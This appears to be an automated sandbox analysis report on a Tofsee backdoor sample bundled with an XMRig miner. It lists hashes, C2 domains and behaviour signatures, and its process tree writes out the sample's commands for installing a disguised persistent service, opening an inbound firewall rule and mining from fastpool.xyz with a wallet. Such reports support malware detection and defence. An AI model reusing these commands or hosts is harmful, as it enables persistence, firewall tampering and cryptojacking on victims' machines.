Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-04-2023 20:56

General

  • Target

    file.exe

  • Size

    276KB

  • MD5

    80ee506064ae22c8ea34ffb2431f2488

  • SHA1

    0c5a71beb97751a781203d598e97e5a746df62df

  • SHA256

    77b5c60d25ee308a2c29e9363e105bfc42b3f0c6eb92285b620454f9c952d1eb

  • SHA512

    39be470cc5e8f170296371c7cfb7727b402e4c8b6e1ea6d66fe4195aa83f090cb9cf17d941dbb15214ae9e0a20f0015a190eb35a563067f2d645ea3f21609a6c

  • SSDEEP

    3072:/3czQeDsw9vCdirSqJ4GGueYDDwOtDUeblv8zMrnwg5o6JP3WJ0nWFok:GQmstdiDJ4xuHDwiDpd8z+w56J+Dak

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4112
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wyzkwggk\
      2⤵
        PID:1104
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\cjivddlp.exe" C:\Windows\SysWOW64\wyzkwggk\
        2⤵
          PID:4740
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wyzkwggk binPath= "C:\Windows\SysWOW64\wyzkwggk\cjivddlp.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2948
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description wyzkwggk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4868
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start wyzkwggk
          2⤵
          • Launches sc.exe
          PID:316
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:868
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4112 -s 1180
          2⤵
          • Program crash
          PID:1856
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4112 -ip 4112
        1⤵
          PID:1668
        • C:\Windows\SysWOW64\wyzkwggk\cjivddlp.exe
          C:\Windows\SysWOW64\wyzkwggk\cjivddlp.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1728
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3288
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:816
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1728 -s 552
            2⤵
            • Program crash
            PID:2348
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1728 -ip 1728
          1⤵
            PID:3504

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\cjivddlp.exe

            Filesize

            13.0MB

            MD5

            70645651d9dab458470462446d54e4c0

            SHA1

            00c0fb34fa646c13597d0235f6de6f0464e37f3d

            SHA256

            b32da4a8d9069055616ebbe222c92614224ded1daf243e0230705d2c165787eb

            SHA512

            bf7232af0b8f34acf7842a51a74cf9c772c065b88da6dc1cf11d8d9bd5ea9ed7dfa93fef24a505125924c1cdfdeb83f9145f452e9778d18e81e0453a49c68fce

          • C:\Windows\SysWOW64\wyzkwggk\cjivddlp.exe

            Filesize

            13.0MB

            MD5

            70645651d9dab458470462446d54e4c0

            SHA1

            00c0fb34fa646c13597d0235f6de6f0464e37f3d

            SHA256

            b32da4a8d9069055616ebbe222c92614224ded1daf243e0230705d2c165787eb

            SHA512

            bf7232af0b8f34acf7842a51a74cf9c772c065b88da6dc1cf11d8d9bd5ea9ed7dfa93fef24a505125924c1cdfdeb83f9145f452e9778d18e81e0453a49c68fce

          • memory/816-190-0x0000000000E00000-0x0000000000EF1000-memory.dmp

            Filesize

            964KB

          • memory/816-201-0x0000000000E00000-0x0000000000EF1000-memory.dmp

            Filesize

            964KB

          • memory/816-200-0x0000000000E00000-0x0000000000EF1000-memory.dmp

            Filesize

            964KB

          • memory/816-198-0x0000000000E00000-0x0000000000EF1000-memory.dmp

            Filesize

            964KB

          • memory/816-199-0x0000000000E00000-0x0000000000EF1000-memory.dmp

            Filesize

            964KB

          • memory/816-197-0x0000000000E00000-0x0000000000EF1000-memory.dmp

            Filesize

            964KB

          • memory/816-196-0x0000000000E00000-0x0000000000EF1000-memory.dmp

            Filesize

            964KB

          • memory/816-195-0x0000000000E00000-0x0000000000EF1000-memory.dmp

            Filesize

            964KB

          • memory/1728-147-0x0000000000400000-0x00000000004B3000-memory.dmp

            Filesize

            716KB

          • memory/3288-169-0x0000000002B20000-0x0000000002B30000-memory.dmp

            Filesize

            64KB

          • memory/3288-174-0x0000000002B20000-0x0000000002B30000-memory.dmp

            Filesize

            64KB

          • memory/3288-158-0x0000000002B20000-0x0000000002B30000-memory.dmp

            Filesize

            64KB

          • memory/3288-161-0x0000000002B20000-0x0000000002B30000-memory.dmp

            Filesize

            64KB

          • memory/3288-162-0x0000000002B20000-0x0000000002B30000-memory.dmp

            Filesize

            64KB

          • memory/3288-163-0x0000000002B20000-0x0000000002B30000-memory.dmp

            Filesize

            64KB

          • memory/3288-164-0x0000000002B20000-0x0000000002B30000-memory.dmp

            Filesize

            64KB

          • memory/3288-165-0x0000000002B20000-0x0000000002B30000-memory.dmp

            Filesize

            64KB

          • memory/3288-167-0x0000000002B20000-0x0000000002B30000-memory.dmp

            Filesize

            64KB

          • memory/3288-168-0x0000000002B20000-0x0000000002B30000-memory.dmp

            Filesize

            64KB

          • memory/3288-166-0x0000000002B20000-0x0000000002B30000-memory.dmp

            Filesize

            64KB

          • memory/3288-141-0x0000000000C90000-0x0000000000CA5000-memory.dmp

            Filesize

            84KB

          • memory/3288-170-0x0000000002B20000-0x0000000002B30000-memory.dmp

            Filesize

            64KB

          • memory/3288-171-0x0000000002B20000-0x0000000002B30000-memory.dmp

            Filesize

            64KB

          • memory/3288-172-0x0000000002B20000-0x0000000002B30000-memory.dmp

            Filesize

            64KB

          • memory/3288-175-0x0000000002B20000-0x0000000002B30000-memory.dmp

            Filesize

            64KB

          • memory/3288-176-0x0000000002B20000-0x0000000002B30000-memory.dmp

            Filesize

            64KB

          • memory/3288-155-0x0000000002B10000-0x0000000002B16000-memory.dmp

            Filesize

            24KB

          • memory/3288-173-0x0000000002B20000-0x0000000002B30000-memory.dmp

            Filesize

            64KB

          • memory/3288-177-0x0000000002B20000-0x0000000002B30000-memory.dmp

            Filesize

            64KB

          • memory/3288-178-0x0000000002DF0000-0x0000000002DF5000-memory.dmp

            Filesize

            20KB

          • memory/3288-181-0x0000000002DF0000-0x0000000002DF5000-memory.dmp

            Filesize

            20KB

          • memory/3288-182-0x0000000007800000-0x0000000007C0B000-memory.dmp

            Filesize

            4.0MB

          • memory/3288-185-0x0000000007800000-0x0000000007C0B000-memory.dmp

            Filesize

            4.0MB

          • memory/3288-186-0x0000000007D50000-0x0000000007D57000-memory.dmp

            Filesize

            28KB

          • memory/3288-154-0x0000000002800000-0x0000000002A0F000-memory.dmp

            Filesize

            2.1MB

          • memory/3288-151-0x0000000002800000-0x0000000002A0F000-memory.dmp

            Filesize

            2.1MB

          • memory/3288-150-0x0000000000C90000-0x0000000000CA5000-memory.dmp

            Filesize

            84KB

          • memory/3288-148-0x0000000000C90000-0x0000000000CA5000-memory.dmp

            Filesize

            84KB

          • memory/3288-146-0x0000000000C90000-0x0000000000CA5000-memory.dmp

            Filesize

            84KB

          • memory/3288-145-0x0000000000C90000-0x0000000000CA5000-memory.dmp

            Filesize

            84KB

          • memory/4112-135-0x0000000000600000-0x0000000000613000-memory.dmp

            Filesize

            76KB

          • memory/4112-140-0x0000000000400000-0x00000000004B3000-memory.dmp

            Filesize

            716KB